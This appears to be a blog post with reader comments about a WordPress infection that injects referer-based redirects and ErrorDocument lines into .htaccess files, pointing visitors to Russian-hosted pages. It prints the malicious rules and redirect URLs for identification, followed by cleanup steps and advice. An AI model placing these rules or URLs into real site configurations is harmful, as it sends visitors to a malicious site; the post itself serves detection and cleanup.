FIX: http://bannortim-qimulta.ru/industry/index.php
WordPress Malware?
There is an interesting MALWARE going around in the last couple of weeks. It appears to be a MySQL injection that can infiltrate .htaccess files not ony on a WordPress install but any other 3rd party software you may have on your server. On some servers this might be hard to detect so keep an eye out for slow loading pages and look at the status bar as you will see it will try to redirect you. http://bannortim-qimulta.ru/industry/index.php
It adds a lot of redirects in your .htaccess and looks like this.
———————–
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|
altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler
|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport
|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9
|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|f…..
and then some.
You also have to check the end of your file as it adds blank lines and then starts up with more malware redirects.
ErrorDocument 400 http://qimulta-bannortim.ru/upday/index.php
ErrorDocument 401 http://qimulta-bannortim.ru/upday/index.php
ErrorDocument 403 http://qimulta-bannortim.ru/upday/index.php
ErrorDocument 404 http://qimulta-bannortim.ru/upday/index.php
ErrorDocument 500 http://qimulta-bannortim.ru/upday/index.php
———————-
If you remove this from your .htaccess it will often times reappear.
Recommendation:
- Remove your MySQL user that is connected to your database
- Put your site offline, and start looking at your database in PHPMyAdmin for malicious code to remove.
- Create a new MySQL user and rename your database.
- Update your WordPress install and your plugins/themes. Research your plugins/themes for known attacks.
- Check your .htaccess file – remove hack redirects.
- Check above your public_html directory (home directory) as it can put an .htaccess file there too.
- Check with your host for a solution if you have a good one. We use SimpleHelix and have had good luck and good support.
- All else fails, export your posts and pages and reinstall WordPress with latest updates and latest theme and plugin updates.
It looks like the cause is an outdated WordPress install or WordPress Plugins/Themes so some of these sites might help you figure it out.
http://wordpress.org/support/topic/i-have-been-well-and-truly-hacked
http://wordpress.org/support/topic/was-our-website-hacked-please-help
http://sucuri.net/global
http://www.google.co.uk/support/forum/p/Webmasters/thread?tid=4c051eb8c6e2e972&hl=en
Do you have any idea of where we should look in our MySQL database for the malicious code? I have 4 wordpress installations on my server and each of them have this attack. I have tried reinstalling wordpress, changing my passwords and using a wordpress plugin to secure my htaccess file but the attack continues. It seems as though they change my htaccess as soon as I remove the malicious code and they change permissions to 444.
Any help would be greatly appreciated!
You can also try Bullet Proof. It has a built in scanner that might help you out.
http://wordpress.org/extend/plugins/bulletproof-security/
You can download a new copy (or find a clean and same version you have) of WordPress and compare the file structures to see what may be different. I’d look in the wp-admin folder as well.
I would also look into doing a clean install after exporting your pages and posts if that is an option for you.
Also look into your themes folder.
You can try changing the owner of the htaccess file so that the web user only has read only permissions and is unable to change it itself…